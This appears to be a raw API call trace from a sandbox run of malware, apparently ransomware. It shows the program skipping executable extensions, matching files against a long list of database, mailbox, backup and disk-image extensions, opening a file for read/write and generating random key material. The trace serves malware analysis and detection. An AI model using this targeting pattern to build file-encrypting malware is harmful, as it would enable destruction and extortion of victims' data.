	[0076.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0076.651] RtlWakeConditionVariable () returned 0x365f70
	[0076.651] GetCurrentThreadId () returned 0x3a4
	[0076.651] GetCurrentThreadId () returned 0x3a4
	[0076.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7558 | out: hHeap=0x300000) returned 1
	[0076.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3728 | out: hHeap=0x300000) returned 1
	[0076.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7558
	[0076.651] lstrlenW (lpString=".scr") returned 4
	[0076.651] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0076.651] lstrlenW (lpString=".cmd") returned 4
	[0076.651] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0076.651] lstrlenW (lpString=".dll") returned 4
	[0076.652] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0076.652] lstrlenW (lpString=".bat") returned 4
	[0076.652] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0076.652] lstrlenW (lpString=".cpl") returned 4
	[0076.652] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0076.652] lstrlenW (lpString=".sys") returned 4
	[0076.652] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0076.652] lstrlenW (lpString=".msc") returned 4
	[0076.652] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0076.652] lstrlenW (lpString=".com") returned 4
	[0076.652] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0076.652] lstrlenW (lpString=".lnk") returned 4
	[0076.652] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0076.652] lstrlenW (lpString=".msp") returned 4
	[0076.652] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0076.652] lstrlenW (lpString=".pif") returned 4
	[0076.652] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0076.652] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.652] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0076.652] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7558 | out: hHeap=0x300000) returned 1
	[0076.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.652] RtlWakeConditionVariable () returned 0x365f70
	[0076.652] GetCurrentThreadId () returned 0x3a4
	[0076.652] GetCurrentThreadId () returned 0x3a4
	[0076.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a75f0 | out: hHeap=0x300000) returned 1
	[0076.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3760 | out: hHeap=0x300000) returned 1
	[0076.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a75f0
	[0076.653] lstrlenW (lpString=".scr") returned 4
	[0076.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0076.653] lstrlenW (lpString=".cmd") returned 4
	[0076.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0076.653] lstrlenW (lpString=".dll") returned 4
	[0076.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0076.653] lstrlenW (lpString=".bat") returned 4
	[0076.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0076.653] lstrlenW (lpString=".cpl") returned 4
	[0076.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0076.653] lstrlenW (lpString=".sys") returned 4
	[0076.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0076.653] lstrlenW (lpString=".msc") returned 4
	[0076.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0076.653] lstrlenW (lpString=".com") returned 4
	[0076.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0076.654] lstrlenW (lpString=".lnk") returned 4
	[0076.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0076.654] lstrlenW (lpString=".msp") returned 4
	[0076.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0076.654] lstrlenW (lpString=".pif") returned 4
	[0076.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0076.654] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0076.654] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a75f0 | out: hHeap=0x300000) returned 1
	[0076.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.654] RtlWakeConditionVariable () returned 0x365f70
	[0076.654] GetCurrentThreadId () returned 0x3a4
	[0076.654] GetCurrentThreadId () returned 0x3a4
	[0076.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a49a0
	[0076.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4c80 | out: hHeap=0x300000) returned 1
	[0076.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3798 | out: hHeap=0x300000) returned 1
	[0076.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4c80
	[0076.654] lstrlenW (lpString=".scr") returned 4
	[0076.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".scr") returned 0x0
	[0076.655] lstrlenW (lpString=".cmd") returned 4
	[0076.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".cmd") returned 0x0
	[0076.655] lstrlenW (lpString=".dll") returned 4
	[0076.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dll") returned 0x0
	[0076.655] lstrlenW (lpString=".bat") returned 4
	[0076.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bat") returned 0x0
	[0076.655] lstrlenW (lpString=".cpl") returned 4
	[0076.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".cpl") returned 0x0
	[0076.655] lstrlenW (lpString=".sys") returned 4
	[0076.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sys") returned 0x0
	[0076.655] lstrlenW (lpString=".msc") returned 4
	[0076.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".msc") returned 0x0
	[0076.655] lstrlenW (lpString=".com") returned 4
	[0076.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".com") returned 0x0
	[0076.655] lstrlenW (lpString=".lnk") returned 4
	[0076.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".lnk") returned 0x0
	[0076.655] lstrlenW (lpString=".msp") returned 4
	[0076.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".msp") returned 0x0
	[0076.655] lstrlenW (lpString=".pif") returned 4
	[0076.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".pif") returned 0x0
	[0076.656] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0076.656] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.706] lstrlenW (lpString=".sqb") returned 4
	[0076.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sqb") returned 0x0
	[0076.706] lstrlenW (lpString=".ost") returned 4
	[0076.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ost") returned 0x0
	[0076.706] lstrlenW (lpString=".txt") returned 4
	[0076.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".txt") returned 0x0
	[0076.707] lstrlenW (lpString=".mdt") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".mdt") returned 0x0
	[0076.707] lstrlenW (lpString=".BDB") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".BDB") returned 0x0
	[0076.707] lstrlenW (lpString=".eql") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".eql") returned 0x0
	[0076.707] lstrlenW (lpString=".DBF") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBF") returned 0x0
	[0076.707] lstrlenW (lpString=".EQL") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".EQL") returned 0x0
	[0076.707] lstrlenW (lpString=".FDB") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".FDB") returned 0x0
	[0076.707] lstrlenW (lpString=".EDB") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".EDB") returned 0x0
	[0076.707] lstrlenW (lpString=".DACPAC") returned 7
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DACPAC") returned 0x0
	[0076.707] lstrlenW (lpString=".VHD") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".VHD") returned 0x0
	[0076.707] lstrlenW (lpString=".DBV") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBV") returned 0x0
	[0076.707] lstrlenW (lpString=".dacpac") returned 7
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dacpac") returned 0x0
	[0076.707] lstrlenW (lpString=".sdf") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sdf") returned 0x0
	[0076.707] lstrlenW (lpString=".accdb") returned 6
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".accdb") returned 0x0
	[0076.707] lstrlenW (lpString=".DBX") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBX") returned 0x0
	[0076.707] lstrlenW (lpString=".MDT") returned 4
	[0076.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".MDT") returned 0x0
	[0076.707] lstrlenW (lpString=".SQB") returned 4
	[0076.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".SQB") returned 0x0
	[0076.708] lstrlenW (lpString=".vhd") returned 4
	[0076.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".vhd") returned 0x0
	[0076.708] lstrlenW (lpString=".bac") returned 4
	[0076.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bac") returned 0x0
	[0076.708] lstrlenW (lpString=".mdf") returned 4
	[0076.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".mdf") returned 0x0
	[0076.708] lstrlenW (lpString=".BAK") returned 4
	[0076.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".BAK") returned 0x0
	[0076.708] lstrlenW (lpString=".BAC") returned 4
	[0076.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".BAC") returned 0x0
	[0076.708] lstrlenW (lpString=".dbs") returned 4
	[0076.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbs") returned 0x0
	[0076.708] lstrlenW (lpString=".vhdx") returned 5
	[0076.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".vhdx") returned 0x0
	[0076.708] lstrlenW (lpString=".NDF") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".NDF") returned 0x0
	[0076.709] lstrlenW (lpString=".dat") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dat") returned 0x0
	[0076.709] lstrlenW (lpString=".DBS") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBS") returned 0x0
	[0076.709] lstrlenW (lpString=".CKP") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".CKP") returned 0x0
	[0076.709] lstrlenW (lpString=".edb") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".edb") returned 0x0
	[0076.709] lstrlenW (lpString=".PST") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".PST") returned 0x0
	[0076.709] lstrlenW (lpString=".dbf") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbf") returned 0x0
	[0076.709] lstrlenW (lpString=".SQL") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".SQL") returned 0x0
	[0076.709] lstrlenW (lpString=".pst") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".pst") returned 0x0
	[0076.709] lstrlenW (lpString=".dbv") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbv") returned 0x0
	[0076.709] lstrlenW (lpString=".SDF") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".SDF") returned 0x0
	[0076.709] lstrlenW (lpString=".dtxs") returned 5
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dtxs") returned 0x0
	[0076.709] lstrlenW (lpString=".db3") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".db3") returned 0x0
	[0076.709] lstrlenW (lpString=".OST") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".OST") returned 0x0
	[0076.709] lstrlenW (lpString=".dbx") returned 4
	[0076.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbx") returned 0x0
	[0076.709] lstrlenW (lpString=".DB3") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DB3") returned 0x0
	[0076.710] lstrlenW (lpString=".DAT") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DAT") returned 0x0
	[0076.710] lstrlenW (lpString=".VHDX") returned 5
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".VHDX") returned 0x0
	[0076.710] lstrlenW (lpString=".ndf") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ndf") returned 0x0
	[0076.710] lstrlenW (lpString=".DB") returned 3
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DB") returned 0x0
	[0076.710] lstrlenW (lpString=".sql") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sql") returned 0x0
	[0076.710] lstrlenW (lpString=".MYD") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".MYD") returned 0x0
	[0076.710] lstrlenW (lpString=".DBT") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBT") returned 0x0
	[0076.710] lstrlenW (lpString=".ACCDB") returned 6
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ACCDB") returned 0x0
	[0076.710] lstrlenW (lpString=".fdb") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".fdb") returned 0x0
	[0076.710] lstrlenW (lpString=".bak") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bak") returned 0x0
	[0076.710] lstrlenW (lpString=".myd") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".myd") returned 0x0
	[0076.710] lstrlenW (lpString=".DTXS") returned 5
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DTXS") returned 0x0
	[0076.710] lstrlenW (lpString=".ckp") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ckp") returned 0x0
	[0076.710] lstrlenW (lpString=".dbt") returned 4
	[0076.710] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbt") returned 0x0
	[0076.711] lstrlenW (lpString=".db") returned 3
	[0076.711] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".db") returned 0x0
	[0076.711] lstrlenW (lpString=".TXT") returned 4
	[0076.711] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".TXT") returned 0x0
	[0076.711] lstrlenW (lpString=".MDF") returned 4
	[0076.711] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".MDF") returned 0x0
	[0076.711] lstrlenW (lpString=".bdb") returned 4
	[0076.711] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bdb") returned 0x0
	[0076.711] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.711] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3ad1d8
	[0076.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.711] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.712] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.712] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0076.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28041e8
	[0076.712] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19670248890) returned 1
	[0076.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x979e4cb0, dwHighDateTime=0x1d60e1e)) 
	[0076.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0076.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0076.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0076.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3808
	[0076.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3808 | out: hHeap=0x300000) returned 1
	[0076.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
